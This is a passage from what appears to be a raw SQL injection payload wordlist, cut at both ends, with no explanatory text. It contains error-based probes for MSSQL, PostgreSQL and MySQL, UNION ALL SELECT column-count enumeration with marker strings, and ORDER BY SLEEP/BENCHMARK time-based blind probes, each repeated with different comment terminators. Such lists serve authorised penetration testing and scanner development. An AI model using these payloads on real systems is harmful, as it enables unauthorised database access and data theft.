SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL-- UNION ALL SELECT 'INJ'||'ECT'||'XXX' UNION ALL SELECT 'INJ'||'ECT'||'XXX',2 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION ALL SELECT 'INJ'||'ECT'||'XXX'-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION ALL SELECT 'INJ'||'ECT'||'XXX'# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# ``` ``` ORDER BY SLEEP(5) ORDER BY 1,SLEEP(5) ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')) ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 ORDER BY SLEEP(5)# ORDER BY 1,SLEEP(5)# ORDER BY 1,SLEEP(5),3# ORDER BY 1,SLEEP(5),3,4# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# ORDER BY SLEEP(5)-- ORDER BY 1,SLEEP(5)-- ORDER BY 1,SLEEP(5),3-- ORDER BY 1,SLEEP(5),3,4-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION ALL SELECT 1 UNION ALL SELECT 1,2 UNION ALL SELECT 1,2,3 UNION ALL SELECT 1,2,3,4 UNION ALL SELECT 1,2,3,4,5 UNION ALL SELECT 1,2,3,4,5,6 UNION ALL SELECT 1,2,3,4,5,6,7 UNION ALL SELECT 1,2,3,4,5,6,7,8 UNION ALL SELECT 1,2,3,4,5,6,7,8,9 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION ALL SELECT 1# UNION ALL SELECT 1,2# UNION ALL SELECT 1,2,3# UNION ALL SELECT 1,2,3,4# UNION ALL SELECT 1,2,3,4,5# UNION ALL SELECT 1,2,3,4,5,6# UNION ALL SELECT 1,2,3,4,5,6,7# UNION ALL SELECT 1,2,3,4,5,6,7,8# UNION ALL SELECT 1,2,3,4,5,6,7,8,9# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# UNION ALL SELECT 